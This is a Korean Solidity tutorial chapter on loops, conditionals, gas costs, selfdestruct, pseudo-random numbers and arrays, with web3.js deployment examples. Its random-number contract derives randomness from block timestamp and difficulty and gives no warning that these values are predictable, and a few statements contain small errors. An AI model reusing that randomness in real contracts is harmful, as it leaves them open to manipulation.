# Chapter 10. Solidity 제어, 데이터구조, 예외

Solidity의 반복, 조건문에 대해서 배운다. 반복하면서 그 횟수와 상태 변수를 갱신하는 것에 주의한다. 데이터를 저장하기 위해서 배열 또는 매핑을 적용해본다. 예외에 대해서 배우게 된다. 블록체인은 원격 매체이기 때문에, 키보드, 마우스 등 로컬에서 입력을 받거나 또는 하드디스크에 쓰거나 하는 등의 입출력 예외는 발생할 수 없다. 대신 입출금 관련 예외를 주의해야 한다.

# 1. 제어

## 1.1 반복문

### for 문

반복문은 C언어나 자바 언어의 반복문과 비슷하다.

for 문은 변수를 일정 범위에 대해 증감시키면서 반복적으로 수행한다. for문은 다음 코드에서 보인 것처럼 반복을 언제 시작하고 언제 끝나는지 명시한다.

for문 괄호 안에 for(증감연산자 초기화; 종료조건; 증감 연산)형태로 작성한다. 그리고 반복할 명령문을 다음 줄에 작성하거나 코드 블록의 형태로 붙인다. 반복할 내용이 한 줄 이상일 때 중괄호({})를 이용해서 반복 부분을 코드 블록(code block) 형태로 만들 수도 있다.

다음 코드는 for 문을 이용해서 1부터 9까지의 합계를 계산한다.

uint sum=0;  
for(uint i=1;i<10;i++)  
 sum+=i; // 한 줄의 코드만 반복  
   
for(uint i=1;i<10;i++) {  
 sum+=i; // 중괄호 안의 코드 블록을 반복  
}

### while 문

while 문은 조건이 만족될 때까지 반복한다. for문과 달리 증감 연산자를 반드시 사용할 필요는 없다. 단 while(조건) 문이 먼저 나오기 때문에, 조건에 따라 아예 실행되지 않을 수 있다.

uint sum=0;  
uint i=1;  
while(i<10) {  
 sum+=i;  
 i++;  
}

### do-while 문

while문과 의미는 비슷하게 조건이 만족될 때 반복된다. 하지만 조건 만족 검사를 반복될 명령문들이 실행된 후에 하므로, 최소한 1회는 명령문이 실행된다.

uint sum=0;  
uint i=1;  
do {  
 sum+=i;  
 i++;  
} while(i<10);

### break 문

break문은 반복문을 실행 중에 종료한다. 주로 뒤에서 설명할 조건문과 함께 사용되는 경우가 많으며, 조건이 만족될 때 반복문을 종료하고 빠져나오는 목적으로 사용된다.

아래 코드는 0부터 9까지의 합을 구하되 합이 30이상이 될 때 반복문을 일찍 종료시키는 코드를 보인다. 아직 조건문을 배우지 않았으므로 break문의 사용법만 확인한다.

uint sum=0;  
uint i=1;  
while(i<10) {  
 sum+=i;  
 if (sum >= 30) break; // 합이 30이상이면 종료. while 문을 빠져나감  
 i++;  
}

### continue 문

continue 문은 반복문을 실행 중에 멈추고 반복을 처음부터 다시 시작하도록 되돌린다. 다음 코드는 1~9 중에서 5를 제외한 나머지의 합을 구하는 코드를 보인다. 5일 때만 합을 계산하지 않고 반복문의 처음으로 다시 되돌려서 5를 제외한 합을 구한다.

uint sum=0;  
uint i=0;  
while(i<9) { // i를 먼저 증가시키기 때문에 9보다 작을 때까지만 실행시켜야 함  
 i++; // i를 먼저 증가시킴  
 if (i == 5) continue; // 5일 때 합을 계산하지 않고, 반복문의 처음으로 이동  
 sum+=i;  
}

## 1.2 반복의 비용

블록체인에서의 프로그램은 명령문마다 비용이 발생하는 특성을 가지고 있기 때문에, 반복문을 사용하면 비용이 발생하게 된다.

반복이 늘어날수록 gas가 비례해서 증가하고, 한도 gasLimit를 초과하게 되면 실행이 중지된다.

아래 표는 REMIX에서 테스트한 비용을 보여주고 있는데 10에서 100, 1000으로 반복횟수가 증가할 수록, 비용이 점진적으로 증가하고 있다.

특히 sum 변수를 메모리에 두는 경우에 비해, storage에 두는 경우 비용이 매우 높다. 메모리에 비해 storage를 사용하는 비용이 많이 든다. 10회일 경우 약 2배, 그러나 1000회는 15배 이상으로 급증하고 있다. 게다가 10,000회를 실행하게 되면, REMIX가 메모리 부족으로 재부팅하는 현상이 발생할 수 있다.

|  |  |  |
| --- | --- | --- |
| 반복 횟수 | sum을 로컬에 두는 경우 | sum을 storage에 두는 경우 |
| 10 | 약 30,000 (23845 + 6773) | 약 64,000 (43045 + 21773) |
| 100 | 약 78,000 (49345 + 28073) | 약 368,000 (192881 + 175809) |
| 1000 | 약 203,000 (112345 + 91073) | 약 3,408,000 (1712981 + 1695909) |
| 10000 | REMIX가 죽고, 다시 실행 | REMIX가 죽고, 다시 실행 |

## 실습: 반복문, 조건문 사용

아래 forLoopCostly() 함수는 상태변수 sum을 반복해서 수정하고 있다. 그렇지 않은 forLoop()에서 발생하는 gas비용과 서로 비교해보자.

아래 함수 whileLoop은 반복문을 실행하지만, whileLoopBreak는 break문으로 종료하고 있다.

REMIX에서 작성하고, 배포하면 함수에 대한 버튼이 만들어 진다. 이들을 하나씩 실행하고 나서, getSum() 버튼을 누르면 5050이 출력되는지 확인하자.

[파일명: src/LoopTest.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract LoopTest {  
 uint sum;  
 constructor() { sum=0; }  
 function forLoop() public {  
 uint sumLocal = 0;  
 for(uint i = 0; i < 101; i++) {  
 sumLocal += i;  
 }  
 sum = sumLocal;  
 }  
 function forLoopCostly() public {  
 sum=0;  
 for(uint i = 0; i < 101; i++) {  
 sum += i;  
 }  
 }  
 function whileLoop() public {  
 uint i = 0;  
 uint sumLocal = 0;  
 while(i <= 100) {  
 sumLocal += i;  
 i++;  
 }  
 sum = sumLocal;  
 }  
 function whileLoopBreak() public {  
 uint sumLocal = 0;  
 uint i = 0;  
 while(true) {  
 sumLocal += i;  
 if(i==100) break;  
 i++;  
 }  
 sum = sumLocal;  
 }   
 function doWhileLoop() public {  
 uint i = 0;  
 uint sumLocal = 0;  
 do {  
 sumLocal += i;  
 i++;  
 } while(i <= 100);  
 sum = sumLocal;  
 }  
 function getSum() view public returns(uint) { return sum; }  
}

* 줄5: 합계를 저장하는 컨트랙변수 선언
* 줄7 ~ 13: forLoop() 함수에서는 지역변수 sumLocal을 매번 갱신하고 있다. 비용이 적다.
* 줄14 ~ 19: forLoopCostly() 함수는 컨트랙변수 sum을 매번 갱신하고 있어, 비용이 많다.
* 줄20 ~ 28: whileLoop() 함수는 while문을 사용하고 있다. uint i 계수를 사용해 증감하고 있다.
* 줄29 ~ 38: whileLoopBreak() 함수는 while문을 적용하고 있지만, if(i==100) break 문으로 100이면 반복문에서 탈출한다.
* 줄29 ~ 38: dowhileLoop() 함수는 doWhile문을 적용하고 있다.
* 줄 39: getSum()은 조회함수이라서 view로 선언하고 있다.

## 1.3 조건문

조건문 역시 C 또는 자바 언어와 비슷하다. if, else if, else 문으로 조건을 평가할 수 있다.

if(condition) {  
 ...  
} else if {  
 ...  
}  
else {  
 ...  
}

삼항 연산자(ternary operator)는 간단한 if문을 대신해서 사용한다. 물음표 (?) 앞에 조건, 콜론 (:)을 기준으로 참일 경우 값:거짓일 경우 값을 적는다.

betAmount=betAmount>amount ? amount : betAmount;

다음 코드에서 abs() 함수는 삼항연산자를 적용하여 절대값으로 만들어 주고 있다.

소문자 변환을 위한 toLowerCase() 함수는 바이트 단위로 처리한다는 점에서 주의하자. 먼저 bytes(str)는 문자열을 바이트로 형변환하고, 바이트별로 반복하면서 대문자인 경우 32를 더해서 소문자로 변경하고 있다. 완성되면 바이트는 문자열로 다시 전환된다.

REMIX에서 두 함수의 버튼 테스트를 실행해보자.

[파일명: src/ConditionalTest.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract ConditionalTest {  
 function toLowerCase(string memory str) pure public returns (string memory) {  
 bytes memory bIn = bytes(str);  
 bytes memory bOut = new bytes(bIn.length);  
 uint8 \_iIn = 0;  
 for (uint i = 0; i < bIn.length; i++) {  
 \_iIn = uint8(bIn[i]);  
 if (\_iIn >= 65 && \_iIn <= 90) // ascii A:65 ~ Z:90   
 bOut[i] = bytes1(\_iIn + 32); // ascii a:97 ~ z:122  
 else   
 bOut[i] = bIn[i];  
 }  
 return string(bOut);  
 }  
 function abs(int i) pure public returns (int) {  
 return (i > 0) ? i : -i;  
 }  
}

## 실습: 인사하는 컨트랙

"Hello"를 출력하는 프로그램을 수정해서 if문을 사용해 보자. owner이면 "Hello", 아니면 "Olleh"라고 인사한다.

반면에 변경자(modifier)를 적용하면 조건문 없이 동일한 효과를 얻을 수 있다. modifier isOwner()를 적용하면 owner가 아닌 인사의 설정은 할 필요가 없어지게 된다. 여기서는 getBalance()하는 권한을 부여할 경우에 isOwner()를 적용하고 있다.

조건문에서 비교문을 사용하게 되는데, string은 참조형이라 비교를 하면 주소를 비교하게 된다. 다른 언어와 달리, 어떻게 해야 하는지 생각해보자.

다음 함수의 내용을 채워 완성해보자.

contract Hello1 {  
 function sayHello()   
 modifier isOwner()  
 function setHello()  
 function compareTo(string memory \_str)  
 function getBalance()  
}

### 단계 1: 컨트랙 개발

REMIX에서 작성하고, 함수에 대해 버튼 테스트도 해보자.

[파일명: src/Hello1.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract Hello1 {  
 string private hello;  
 address private owner;  
 event PrintLog(address addr, string s);  
  
 constructor(string memory \_hello) {  
 hello = \_hello;  
 owner = msg.sender;  
 }  
 function sayHello() view public returns(string memory) {  
 return hello;  
 }  
 modifier isOwner() {  
 if (msg.sender != owner) {  
 revert(); // 예외(exception)을 발생시키는 함수로 10.3절에서 설명  
 }  
 \_; // 여기에 호출측의 함수가 실행된다.  
 }  
 function setHello() public {  
 string memory s = "";  
 if (msg.sender == owner) {  
 s = "Hello";  
 } else {  
 s = "Olleh";  
 }  
 emit PrintLog(msg.sender, s);  
 hello = s;  
 }  
 function compareTo(string memory \_str) view public returns(bool) {  
 bool isEqual = false;  
 //if (hello == \_str) { // 이렇게 하지 않고 해시로 비교한다  
 if (keccak256(bytes(hello)) == keccak256(bytes(\_str))) {  
 isEqual = true;  
 }  
 return isEqual;  
 }  
 function getBalance() view public isOwner returns(uint) {  
 return address(this).balance;  
 }  
}

|  |  |
| --- | --- |
| 줄 | 설명 |
| 4 | 컨트랙 이름을 지정한다. 파일명과 반드시 일치할 필요가 없다. |
| 5 | 속성 hello. 누구나 사용할 수 없도록 private으로 선언 |
| 6 | 속성 address owner, 소유자는 private으로 자신만 사용할 수 있게 선언. |
| 7 | event PrintLog로서 주소, 문자열 인자를 출력한다. Solidity에는 print문이 별도로 없다. 문자열을 반환하거나 event문으로 출력할 수 있다. |
| 9 ~ 12 | 생성자로서 외부에서 인자를 받아 속성을 초기화. 속성 값을 넣어준다. msg는 전역변수로서 msg.sender는 전송자의 계정주소를 말한다. 생성자의 msg.sender를 컨트랙의 소유주 owner로 등록한다. |
| 13 ~ 15 | sayHello() 함수는 속성 값을 읽는다. 따라서 view로 선언한다. 인자는 함수 내에서만 잠시 사용하므로 memory로 선언 |
| 16 ~ 21 | 변경자(modifier) 함수. msg.sender와 owner가 일치하지 않으면 예외 처리한다. 아니면 계속 실행. |
| 22 ~ 31 | setHello() 함수는 event함수를 가지고 있으므로 view로 선언하지 않는다. event는 상태를 변경하기 때문에 view와 같이 사용할 수 없다. |
| 32 ~ 39 | compareTo()함수는 입력 문자열과 hello를 비교한다. 문자열은 참조값이기 때문에 비교할 경우 참조를 비교하므로 주의해야 한다. 해시로 비교하고 있다. |
| 40 ~ 43 | 잔고를 구한다. modifier isOwner()를 적용해서 owner만 잔고를 볼 수 있게 한다. |

### 단계 2: 컴파일

이번에는 abi, 바이트 코드를 따로 만들어본다.

pjt\_dir> solc-windows.exe src/Hello1.sol --combined-json abi > src/Hello1ABI.json

pjt\_dir> solc-windows.exe src/Hello1.sol --combined-json bin > src/Hello1BIN.json

### 단계 3: 배포

바이트 코드는 16진수이므로 앞에 0x로 시작한다. 저장된 바이트 코드가 0x로 시작하지 않으면 붙여야 한다.

앞서 설명하였듯이 REMIX에서 배포하는 선택을 할 수 있고, 그렇다면 abi, 바이트 코드를 넣은 자바스크립트 코드를 발견할 수 있을 것이다.

[파일명: src/Hello1DeployFromFile.js]  
var Web3=require('web3');  
var \_abiJson = require('./Hello1ABI.json');  
var \_binJson = require('./Hello1BIN.json');  
  
var web3 = new Web3(new Web3.providers.HttpProvider("http://localhost:8345"));  
  
contractName=Object.keys(\_abiJson.contracts); // 컨트랙명 ['src/Hello1.sol:Hello1']  
//console.log("- contract name: ", contractName[0]); //or console.log(contractName);  
\_abiArray=\_abiJson.contracts[contractName].abi; //JSON parsing needed!!  
//\_abiArray=JSON.parse(\_abiJson.contracts[contractName].abi); //JSON parsing needed!!  
\_bin="0x"+\_binJson.contracts[contractName].bin; // "0x"를 붙여준다  
  
//geth@8445 배포할 경우, 계정을 해제한다.  
//web3.personal.unlockAccount(web3.eth.accounts[0],'password');  
async function deploy() {  
 const accounts = await web3.eth.getAccounts();  
 console.log("Deploying the contract from " + accounts[0]);  
 var deployed = await new web3.eth.Contract(\_abiArray)  
 .deploy({data: \_bin, arguments: ["Hello from web3"]})  
 .send({from: accounts[0], gas: 1000000}, function(err, transactionHash) {  
 if(!err) console.log("hash: " + transactionHash);   
 })  
 console.log("---> The contract deployed to: " + deployed.options.address)  
}  
deploy()

위 프로그램을 실행해서 컨트랙 주소를 얻어보자.

pjt\_dir> node src/Hello1DeployFromFile.js  
  
Deploying the contract from 0x9357f478d86D9222f4413bFd91C8adb0F4c728b7  
hash: 0xb677bc893937465d2487e7ea36b1077eb6053b21263581f1cf68105a61b8e567  
---> The contract deployed to: 0xea7a5B548aBA1e6fE7532E4D1a7Ad9C32b8fE105

geth@8445에 배포하는 경우, 그 단말에 출력된 로그를 관찰해 보자. 일부를 아래에 복사해 놓았다. Hello1DeployFromFile.js를 실행하면 transaction이 생성되고 그 hash가 출력 로그를 발견할 수 있다. 이 hash는 배포하면서 출력하는 transaction hash 값과 서로 일치한다. 마이닝을 하고 나면 contract 주소가 주어진다. 당연히 그 주소는 ganache@8345와 다르다.

[아래는 단말에 출력된 로그에서 복사]  
INFO [01-08|11:37:07.548] Submitted contract creation  
fullhash=0xb677b...8e567  
contract=0xea7a5...fE105

### REMIX에서 이벤트 확인하기

REMIX에서 다음을 하나씩 해보자.

* 좌상단 ENVIRONMENT ---> REMIX VM으로 설정한다. 이렇게 하면 REMIX 가상 머신에 배포하게 된다.
* Deploy버튼 옆에 생성자 함수를 호출하기 위해 문자열 "Hello from web3"을 넣는다. 문자열에 따옴표를 잊지 않는다. 왜 문자열을 넣어야 할까? 컨트랙 소스 코드의 생성자를 보면, 문자열 인자가 입력되어야 한다.
* Deploy버튼을 누르면 "Deployed Contracts" 아래, Hello1 객체가 나타난다. 배포 주소는 실제 블록체인에 배포되지 않았기 때문에 가상 머신의 것이 출력된다.
* 배포되고 만들어진 속성 및 함수 버튼들을 눌러 결과가 출력되는지 보자.
* setHello() 함수 버튼을 누르면 화면 우측 하단을 잘 살펴보자. 특히 굵은 글씨 "logs"를 누르면 하단에 표가 펼쳐지고 이벤트 로그를 볼 수 있다.

### 단계 4: 사용

이벤트는 거래가 마이닝되어 블럭에 포함되어야만 발생하고, 로그에 저장이 된다. 거래가 처리되기 전 대기 상태(pending)로 되어서 완료 되지 않으면, 로그에 포함되지 않기 때문에 이벤트가 당연히 발생하지 않는다. 이렇게 대기하는 이벤트라고 하더라도, 발생하는 순서는 지켜진다. 단순하게 블록체인의 transaction이 아닌 call()은 이벤트를 발생시키지 않는다.

[파일명: src/Hello1UseFromFile.js]  
var Web3=require('web3');  
var \_abiJson = require('./Hello1ABI.json');  
//var web3=new Web3(new Web3.providers.HttpProvider("http://localhost:8345")); //nok  
//var web3 = new Web3(new Web3.providers.WebsocketProvider("http://localhost:8345")); //ok  
var web3 = new Web3(new Web3.providers.WebsocketProvider("ws://localhost:8345")); //ok  
  
contractName=Object.keys(\_abiJson.contracts); // reading ['src/Hello1.sol:Hello1']  
console.log("- contract name: ", contractName[0]); //or console.log(contractName);  
\_abiArray=JSON.parse(\_abiJson.contracts[contractName].abi); //JSON parsing needed!!  
  
async function doIt() {  
 var hello = new web3.eth.Contract(\_abiArray, "0x5A9D02844aAdfb407A1AD0E0d6fA14627672B026");  
 var event = hello.events.PrintLog(function (error, event) {  
 console.log(">>> Event fired: " + JSON.stringify(event.returnValues));  
 })  
 .on('>> data', function(event) {  
 console.log(event);  
 })  
 .on('>> changed', function(event) {  
 console.log(event);  
 })  
 .on('>> error', console.error);  
 const accounts = await web3.eth.getAccounts();  
 console.log("Account: " + accounts[0]);  
 const balanceBefore = await web3.eth.getBalance(accounts[0]);  
 console.log("Balance before: " + balanceBefore);  
 hello.methods.sayHello().call().then(console.log); //null  
 await hello.methods.setHello().send({from: accounts[0]});  
 hello.methods.sayHello().call().then(console.log);  
 hello.methods.compareTo("Hello").call().then(console.log);  
 const balanceAfter = await web3.eth.getBalance(accounts[0]);  
 console.log("Balance after: " + balanceAfter);  
 console.log("Balance diff: " + (balanceBefore - balanceAfter));   
}  
doIt()

프로그램을 실행해보자. 웹소켓의 프로세스는 지속적으로 리스닝, 이벤트가 발생하는지 추적하게 된다.

아래 Event fired 메시지가 출력되고 있다. 이 이벤트는 setHello() 함수를 호출할 때 발생하도록 코드를 작성해 놓은 것이다.

pjt\_dir> node src/Hello1UseFromFile.js  
  
- contract name: src/Hello1.sol:Hello1  
Account: 0x42E5468FC83A0c5F6D4d2E1E632bd8864Dd87bd1  
Balance before: 99964578880000000000  
Hello from web3  
>>> Event fired: {"0":"0x42E5468FC83A0c5F6D4d2E1E632bd8864Dd87bd1","1":"Hello","addr":"0x42E5468FC83A0c5F6D4d2E1E632bd8864Dd87bd1","s":"Hello"}  
Hello  
true // 입력 문자열 "Hello"와 저장된 문자열 ("Hello" 또는 "Olleh")와 비교 결과  
Balance after: 99963981860000000000  
Balance diff: 597019999993856

## 실습: 블록체인에서 컨트랙 삭제

컨트랙을 배포하고 나면, 그 코드는 블록체인에 영구히 잔존하게 된다.

일반적으로 프로그램의 소스코드는 수정되기 마련이고, 그러면 다시 컴파일해서 재배포하는 것이 자연스럽겠지만 블록체인에서는 아니다. 그렇다면 결함이 있거나 더 이상 필요없어지면 어떻게 하지? 답은 간단하다. 삭제해야 한다.

이 때 쓰는 명령어가 selfdestruct()이고, 코드와 관련 메모리가 블록체인으로부터 삭제된다. 당연히 이 명령어를 사용할 때는 매우 신중해야 한다. 일단 삭제되면 되돌릴 방법이 없다.

특히 보관되어 있는 잔고 역시 전액 이동하거나 합리적으로 정리해야 한다. 잔고를 전액 반환하기 때문에, selfdestruct()는 지급 가능한 주소가 필요하다. 버전 0.6부터 주소는 payable이라고 명시해야 한다.

selfdestruct(payable(owner));

### 단계 1: 컨트랙 개발

앞서 작성된 컨트랙 Hello1에 kill() 함수를 추가해보자.

REMIX에서 코드를 작성, 배포하고 함수 테스트를 해보자. setHello(), sayHello()를 차례대로 실행하면 예상한 결과가 출력된다.

문제의 kill()을 실행하면 어떻게 될까? 당연히 출력이 없을 것이다. 컨트랙 자체가 삭제되었기 때문이다.

[파일명: src/Hello2.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract Hello2 {  
 string hello;  
 address owner;  
  
 event PrintLog(string \_s);  
 constructor() {  
 owner = msg.sender;  
 }  
 function sayHello() view public returns(string memory) {  
 return hello;  
 }  
 function setHello(string memory \_hello) public payable {  
 hello = \_hello;  
 emit PrintLog(\_hello);  
 }  
 function getBalance() view public returns(uint) {  
 return address(this).balance;  
 }  
 function kill() public {  
 if (msg.sender == owner) selfdestruct(payable(owner));  
 }  
}

### 단계 2: 컴파일

abi, 바이트 코드를 따로 생성해서 저장해보자. 물론 한꺼번에 해도 된다.

pjt\_dir> solc-windows.exe src/Hello2.sol --combined-json abi > src/Hello2ABI.json

pjt\_dir> solc-windows.exe src/Hello2.sol --combined-json bin > src/Hello2BIN.json

### 단계 3: 배포

컴파일한 후 abi, bin을 저장한 파일에서 읽어서 배포해보자.

[파일명: src/Hello2DeployFromFile.js]  
var Web3=require('web3');  
var \_abiJson = require('./Hello2ABI.json');  
var \_binJson = require('./Hello2BIN.json');  
var web3=new Web3(new Web3.providers.HttpProvider("http://localhost:8345"));  
  
contractName=Object.keys(\_abiJson.contracts); // 컨트랙 명 ['src/Hello2.sol:Hello2']  
console.log("- contract name: ", contractName[0]);  
\_abiArray=\_abiJson.contracts[contractName].abi;  
//\_abiArray=JSON.parse(\_abiJson.contracts[contractName].abi);  
\_bin="0x"+\_binJson.contracts[contractName].bin; // "0x"가 없으면 붙여준다  
  
async function deploy() {  
 const accounts = await web3.eth.getAccounts();  
 console.log("Deploying the contract from " + accounts[0]);  
 var deployed = await new web3.eth.Contract(\_abiArray)  
 .deploy({data: \_bin})  
 .send({from: accounts[0], gas: 1000000}, function(err, transactionHash) {  
 if(!err) console.log("hash: " + transactionHash);   
 })  
 console.log("---> The contract deployed to: " + deployed.options.address)  
}  
deploy()

프로그램을 실행하면, 컨트랙 주소를 얻을 수 있다.

pjt\_dir> node src/Hello2DeployFromFile.js  
  
- contract name: src/Hello2.sol:Hello2  
Deploying the contract from 0x9357f478d86D9222f4413bFd91C8adb0F4c728b7  
hash: 0x5b375a9b43ce502536c1d9ab67201d635401b339cbb636147b785efc2a4f4c48  
---> The contract deployed to: 0x0de24099235b8CB671f3Ed2771F69B2049F679AF

### 단계 4: 사용

아래 코드는 Hello1의 것과 비교해서 큰 차이가 없고, 다만 kill() 함수를 호출하고 있다.

[파일명: src/Hello2UseFromFile.js]  
var Web3=require('web3');  
var \_abiJson = require('./Hello2ABI.json');  
var web3 = new Web3(new Web3.providers.WebsocketProvider("ws://localhost:8345"));  
  
contractName=Object.keys(\_abiJson.contracts); // reading ['src/Hello2.sol:Hello2']  
console.log("- contract name: ", contractName[0]); //or console.log(contractName);  
\_abiArray=\_abiJson.contracts[contractName].abi;  
//\_abiArray=JSON.parse(\_abiJson.contracts[contractName].abi); //JSON parsing needed!!  
  
async function doIt() {  
 var hello = new web3.eth.Contract(\_abiArray, "0x0de24099235b8CB671f3Ed2771F69B2049F679AF");  
 var event = hello.events.PrintLog(function (error, result) {  
 if (!error) {  
 console.log("Event fired: " + JSON.stringify(result.returnValues));  
 }  
 });  
 const accounts = await web3.eth.getAccounts();  
 console.log("Account: " + accounts[0]);  
 hello.methods.sayHello().call().then(console.log); //null  
 await hello.methods.setHello("Hello World!").send({from: accounts[0], value: 1111});  
 hello.methods.sayHello().call().then(console.log);  
 //hello.methods.kill().send({from: accounts[0]}) // 주석으로 비활성화시킴  
}  
  
doIt()

실행해서 결과를 출력해보자.

pjt\_dir> node src/Hello2UseFromFile.js  
  
- contract name: src/Hello2.sol:Hello2  
Account: 0x9357f478d86D9222f4413bFd91C8adb0F4c728b7  
Hello World!  
Event fired: {"0":"Hello World!","\_s":"Hello World!"}

현재는 주석으로 비활성화해 놓았지만, 마지막 줄의 kill() 함수를 활성화하고, 재실행해보자. 그러면 당연히 아무런 출력도 없어야 정상이다. selfdestruct() 함수가 실행되면서, 컨트랙이 삭제되었기 때문에 Error: Returned values aren't valid, did it run Out of Gas?를 출력하게 된다.

이 때, 잔고가 selfdestruct()의 인자로 적은 account[0]에 환급되었는지 확인하자.

## 1.4 무작위 수의 생성

이더리움에서는 완전한 무작위 수 생성이 어렵다. 왜냐하면 분산된 여러 노드가 동일한 무작위 수를 생성, 유지하면서 동기화하기에는 거의 불가능하다.

그럼에도 불구하고, 무작위 수를 생성하기 위해서는 기초 값 seed를 정해주어야 한다. seed가 고정되면 무작위가 아닌 수가 생성되기 때문에 변동시켜 주어야 한다.

블록체인에서 고정하지 않는 seed를 생성하기 위해서는 항상 변동하는 전역변수의 timestamp, difficulty를 활용해야 한다. 이러한 값들을 조합하여 해시를 생성함으로써 일종의 무작위한 값이 생성된다 . 이 값은 블록체인의 블록 타임스탬프와 난이도에 의해 결정되므로, 블록이 생성될 때마다 변하는 값이라 무작위성을 제공할 수 있다.

이들 값을 SHA-3 해시 함수 keccak256(abi.encodePacked(block.timestamp, block.difficulty))하면, 256비트의 해시값으로 만들어 준다.

abi.encodedPacked는 여러 개의 인자를 하나로 묶어 인코딩(encoding)한다. 예를 들면 앞서 배웠던 ABI 인터페이스에서 자릿수에 맞춰 0으로 채우는 작업(zero padding)을 했으나 abi.encodedPacked 방식은 이를 하지 않는다.

* rand0and250() 함수는 0 - 250 사이의 무작위 수를 생성하는데, 251의 나머지 연산(%)을 이용해 그 범위의 수가 생성되도록 한다.
* 마찬가지로 rand0and9() 함수는 10의 나머지로 0 - 9,
* rand0and2()는 3의 나머지 연산으로 0 - 3 범위의 수를 생성하고 있다.

지금까지는 무작위 수 하나를 생성하기 때문에 같은 수가 생성되는 걱정을 할 필요가 없다. 그러나 일련의 무작위 수를 생성하기 위해서는 timestamp나 difficulty 같은 전역변수 값이 짧은 시간에 바뀌지 않는다는 점에 유의해야 한다. 매 번 다른 수가 생성되도록 하려면, 약간의 트릭을 써서 카운터 값을 더해주도록 uint8(uint256(keccak256(abi.encodePacked(block.timestamp + i, block.difficulty))) 코딩하고 있다.

REMIX에서 작성하고 각 함수에 대해 버튼 테스트를 해보자.

[파일명: src/Random.sol]  
//SPDX-License-Identifier: GPL-3.0-or-later  
pragma solidity ^0.8.0;  
  
contract Random {  
 function rand() public view returns(bytes32) {  
 return keccak256(abi.encodePacked(block.timestamp, block.difficulty));  
 }  
 function rand0and250() public view returns(uint8) {  
 return uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%251);  
 }  
 function rand0and9() public view returns(uint8) {  
 return uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%10);  
 }  
 function rand0and2() public view returns(uint8) {  
 return uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%3);  
 }  
 function genRandomInteger() view public returns(uint8[] memory) {  
 uint8[] memory r = new uint8[](10);  
 for(uint i = 0; i<r.length; i++)  
 // i를 더해주지 않으면 항상 같은 수가 생성된다  
 r[i] = uint8(uint256(keccak256(abi.encodePacked(block.timestamp + i, block.difficulty)))%10);  
 return r;  
 }  
}

# 2. 데이터구조

## 2.1 배열

배열은 순서가 있는 데이터를 집단화한 것으로, 모든 자료구조가 그렇듯이 하나의 변수명으로 사용할 수 있도록 만들어져 있다. 순서가 있기 때문에 인덱스를 사용하여 특정할 수 있다.

이러한 배열의 특징은 다른 언어와 비교해도 차이가 없지만, 블록체인에서는 (1) 메모리 영역의 storage 또는 memory를 사용하는지 그리고 (2) 요소의 데이터 타입을 보다 엄격하게 따지기 때문에 까다롭고, 이해하기 다소 복잡할 수 있다.

배열의 요소는 동일한 타입의 데이터를 한 개의 덩어리로 묶어서 집단화시킨다. 배열의 요소는 bytes, string과 같이 크기가 정해지지 않은 동적 타입 (dynamic type) 또는 bool, int 같은 크기가 정해진 정적 타입 (static type)으로 분류할 수 있다. 동적 타입의 크기가 정해지지 않아서 발생할 수 있는 인코딩 문제를 해결하기 위해 pragma ABIEncoderV2를 필요로 했지만, 버전 0.8부터는 그런 걱정은 하지 않아도 된다.

컴파일 시점에 메모리가 고정되어 할당되는 고정 배열과 실행 시점에 메모리가 늘거나 줄면서 배정되는 동적 배열로 구분할 수 있다.

### 2.1.1 고정 배열

#### 고정 배열의 선언

고정 배열은 배열이 저장하는 데이터의 개수를 사전에 정할 수 있는 경우에 사용한다. 다음은 데이터 타입 uint의 배열, 고정 크기 5개로 선언하고 동시에 초기화도 하는 코드이다.

uint24[5] balance = [255, 65536, 95, 50, 1]; //고정 배열 (uint24 고정크기)

#### 고정 배열은 인덱스를 사용하여 입력, 수정

다음 명령문을 보자. 우측은 요소가 3개로 ["Seoul", "Sydney", "Tokyo"] 정해져 있는 문자열 배열이고, 좌측의 고정 배열 string[3]에 할당하고 있다.

string[3] cities1=["Seoul", "Sydney", "Tokyo"]; //고정 배열 (문자열은 동적타입)

생성하면서 요소를 설정할 수 있지만, 생성하고 나선 후에는 인덱스를 사용하여 입력하고 수정할 수 있다. 그러나 아래에서 보듯이 고정 배열에 대해 .push, .pop은 사용할 수 없다.

int[5] mathMarks; //고정 배열 (초기화 하지 않음)  
mathMarks[0]=100; //정상  
mathMarks.push(100); //오류. 고정 배열에 push 사용하지 못함.

#### 데이터타입의 범위를 벗어나는 값을 지정할 수 없다

배열의 데이터 타입에 허용되는 값의 범위를 넘어서면 오류가 발생한다. 예를 들어, uint에 음수 값을 지정하거나, uint8에 256을 지정하거나, uint16에 65536을 넣으면 범위를 넘어서므로 오류가 발생한다.

uint8[5] balance = [255, 255, 95, 50, -1]; //오류: -1이 음수  
uint8[5] balance = [255, 256, 95, 50, 1]; //오류: 256이 8비트 범위 밖 -> uint16  
uint16[5] balance = [255, 65536, 95, 50, 1]; //오류: 65536이 16비트 범위 밖 -> uint24

#### 배열의 삭제

배열을 삭제하는 경우 특정 인덱스를 지정해서 delete array[index] 하면 된다.

그러나 그 데이터 항목은 그대로 유지된다는 점에 주의해야 한다. 예를 들어, 배열 data [1, 2, 3, 4]에서 delete data[2]하면 [1, 2, 0, 4]가 된다.

### 2.1.2 동적 배열

### 동적 배열의 선언

고정 배열은 크기가 사전에 정해져 있는데 반해, 동적 배열은 크기가 정해져 있지 않아서 실행 시점에 메모리가 할당되며 크기가 수정될 수도 있다.

동적 배열의 선언은 크기없이 다음과 같이 빈괄호를 적어준다.

string[] cities3; //동적 배열

선언하면서 크기를 지정할 수 있다. 물론 실행시점에 크기가 늘어날 수 있다는 특징은 그대로이다.

string[] cities2 = new string[](2); //동적 배열, 사전에 길이를 설정

다차원 역시 가능한데, 다음은 uint의 2차원 동적 배열이다. 앞의 3은 요소의 개수를, 뒤는 배열의 개수를 의미한다. 여기에서는 세 개 요소를 가진 배열 두 개를 포함하는 2차원 배열을 생성하고 있다.

uint[3][] marks=[[100, 80, 95],[20, 30, 40]];

#### 동적 배열의 .push 추가, .pop 제거

